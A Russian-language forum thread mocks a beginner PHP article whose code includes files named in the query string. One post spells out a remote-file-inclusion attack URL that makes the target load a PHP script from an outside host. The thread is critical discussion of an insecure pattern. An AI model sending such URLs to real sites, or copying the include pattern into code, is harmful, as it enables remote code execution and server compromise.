Рекомендовано начинающим, но че-то мне не нравится...

[Silex]

Рекомендовано начинающим, но че-то мне не нравится...

http://www.php.com.ua/tips/9/ - статья для начинающих.
Я так понимаю, что это дыра. Если я ручками набиваю в строке адреса http://www.yoursite.com/index.phtml?www.mysite/myscript.phtml и перед этим заливаю на какой-нибудь бесплатный хостинг свой РНР-скрипт, то творю почти что угодно?

 

[DiMA]

да, это форменный кретинизм

соответствует уровню развития авторов этого сайта

 

[Юзер]

Да, а имя неплохое у сайта...

 

[AnToXa]

маразм

 

[Dimonuch]

Гарны украински хлопцы как всегда на высоте ...

конечно использование удаленных файлов функцией include() можно отключать, но по дефолту оно вроде разрешено ...

а идея красивая

 

[ir_bit]

да и JS на этой страничке глючный

 

[Crazy]

А я никак не мог понять, откуда пошла ублюдочная мода инклудить по QUERY_STRING'у...

 

[Borman]

Только вот не надо "украински хлопцы".
Статья слизана с другого сайта.
Автор статьи - белорус

 

[Ямерт]

Кстати, в самом деле кликните на линк http://www.yoursite.com/index.phtml?www.mysite/myscript.phtml
Кто-то торгует

 

[Silex]

Честное слово, отфонарно адрес написал. А с буржуев надо будет деньги снять за рекламу